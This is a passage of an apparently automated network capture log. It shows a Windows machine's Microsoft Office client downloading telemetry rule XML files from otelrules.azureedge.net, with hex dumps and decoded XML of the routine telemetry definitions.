2024-12-04 15:11:52 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-04 15:11:53 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-04 15:11:53 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-04 15:11:53 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-04 15:11:53 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-04 15:11:53 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-04 15:11:53 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-04 15:11:53 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.12	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:55 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:55 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 667c147a-501e-0016-34cc-45181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151155Z-1746fd949bdkw94lhC1EWRxuz400000001k000000000aq80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:55 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.12	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:55 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:55 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9ac3d201-201e-0000-03c5-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151155Z-1746fd949bddtfvqhC1EWRxbpg00000001cg00000000452g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:55 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.12	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:55 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:55 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 40031d31-601e-005c-53c5-45f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151155Z-1746fd949bdqpttnhC1EWRe1wg000000015g000000007317 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:55 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticuserinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.12	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:55 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:55 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:55 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 115d5b31-c01e-0046-4bcb-452db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151155Z-1746fd949bdl6zq5hC1EWRf3ws000000011000000000ebs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:55 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.12	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:55 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:55 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c4831996-901e-0016-39ce-45efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151155Z-1746fd949bdxk6n6hC1EWRdr8c000000015g00000000hb85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:55 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.12	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:57 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:57 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 4a622c55-e01e-0099-7fc1-45da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151157Z-1746fd949bd77mkmhC1EWR5efc00000001gg00000000prgh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:57 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.12	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:57 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:57 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: d3611829-901e-007b-22c2-45ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151157Z-1746fd949bd7wvgbhC1EWR0rgs00000001e000000000cqbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:57 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.12	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:57 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
